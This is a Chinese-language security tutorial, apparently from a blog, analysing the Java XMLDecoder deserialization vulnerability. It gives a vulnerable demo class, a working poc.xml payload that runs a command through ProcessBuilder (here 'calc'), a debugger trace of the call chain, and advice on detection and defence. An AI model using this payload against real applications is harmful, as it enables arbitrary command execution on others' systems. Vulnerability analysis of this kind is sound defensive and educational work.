(Java)XMLDecoder反序列化漏洞

基本概念

XMLDecoder用於將XMLEncoder創建的xml文檔內容反序列化爲一個Java對象,其位於java.beans包下。

 

影響版本

XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全風險。

 

Demo

import com.sun.beans.decoder.DocumentHandler;
import org.xml.sax.helpers.DefaultHandler;

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.beans.XMLDecoder;

public class test {

    public static void XMLDecode_Deserialize(String path) throws Exception {
        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xd = new XMLDecoder(bis);
        xd.readObject();
        xd.close();
    }


    public static void main(String[] args){
        //XMLDecode Deserialize Test
        String path = "poc.xml";
        try {
            XMLDecode_Deserialize(path);

//            File f = new File(path);
//            SAXParserFactory sf = SAXParserFactory.newInstance();
//            SAXParser sp = sf.newSAXParser();
//
//            DefaultHandler dh = new DefaultHandler();
//            DocumentHandler dh = new DocumentHandler();
//            sp.parse(f, dh);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Payload:

poc.xml,可以看到java標籤的class屬性指定XMLDecoder類,對象標籤指定ProcessBuilder類、void標籤指定方法爲start,即可調用ProcessBuilder.start()來執行其中的命令。

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
	<object class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="1">
			<void index="0">
				<string>calc</string>
			</void>
		</array>
		<void method="start" />
	</object>
</java>

運行後,會彈出計算器:

 

調試分析

在IDEA下設置斷點跟蹤調試。

在readObject()處設置斷點,可看到XMLDecoder對象xd的input屬性包含了輸入XML文檔的路徑:

繼續往裏調試,調用到XMLDecoder.parsingComplete()時,發現裏面調用了XMLDecoder.this.handler.parse(),其中this.handler即爲DocumentHandler,換句話說,就是調用了DocumentHandler.parser()來解析輸入的XML文檔內容:

跟蹤進去,可以看到DocumentHandler.parser()中調用了SAXParserFactory.newInstance().newSAXParser().parse()來解析XML內容:

接着設置xmlReader的相關handler,如處理XML內容、實體、錯誤、文檔類型定義、文件等句柄,最後調用xmlReader.parse()解析XML文件內容:

 

繼續調試,在XML11Configuration.parse()中發現調用determineDocVersion():

跟蹤進去發現,determineDocVersion()主要獲取XML實體掃描器然後掃描解析<?xml version=…?>來獲取XML文檔的版本信息:

返回版本信息後,繼續往下在XML11Configuration.parse()中調用startDocumentParsing()函數,主要是重置掃描器的版本配置並開始文件掃描準備,其中開始文件掃描準備是調用startEntity()函數(跟蹤進去可以看到是通知掃描器開始實體掃描,其中文檔實體的僞名稱爲“[xml]”、DTD的僞名稱爲“[dtd]”、參數實體名稱以“%”開頭;接着函數內部會調用startDocument()函數開始準備文件掃描):

可以看到最後調用到的startDocument()函數會清空當前對象和句柄爲文件掃描的開始做準備:

返回到XML11Configuration.parse()中繼續往下調試,調用scanDocument()開始文件掃描:

進入scanDocument(),可以看到設置實體句柄後,主要是執行do while循環體,其中的包含START_DOCUMENT、START_ELEMENT、CHARACTERS、SPACE、ENTITY_REFERENCE、PROCESSING_INSTRUCTION、COMMENT、DTD、CDATA、NOTATION_DECLARATION、ENTITY_DECLARATION、NAMESPACE、ATTRIBUTE、END_ELEMENT等的掃描識別:

中間XML節點解析的過程不用過多分析,調試至END_ELEMENT時,可以看到其中提取出“calc”參數值:

跟蹤進去後面的getValueObject()函數,可以看到變量var3和var4,分別爲獲取到ProcessBuilder類名和start方法名,在調用Expression():

繼續跟蹤到裏面,最後會調用MethodUtil.invoke()方法實現反射執行任意類方法:

再次F7直接執行了代碼彈出計算器:

整體地看一下,整個調用過程大致如下:

XMLDecoder.readObject() -> XMLDecoder.parsingCompelete() -> DocumentHandler.parse() -> SAXParserFactory.newInstance().newSAXParser().parse() -> xmlReader.parse()

可以發現,XMLDecoder類解析XML是調用DocumentHandler類實現的,而DocumentHandler類是基於SAXParser類對XML的解析上的。

那麼可以去分析一下,到底哪個類纔是真正的漏洞類。測試一下,可以看出DocumentHandler類纔是XMLDecoder反序列化漏洞的根源類:

 

檢測方法

全局搜索XMLDecoder關鍵字,排查是否調用readObject()函數且參數是否可控。

 

防禦方法

若可以儘量不使用XMLDecoder反序列化XML內容;若使用則儘量確保參數不可由外界輸入,儘量以白名單的方式限定XML文檔名且結合嚴格的過濾機制。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章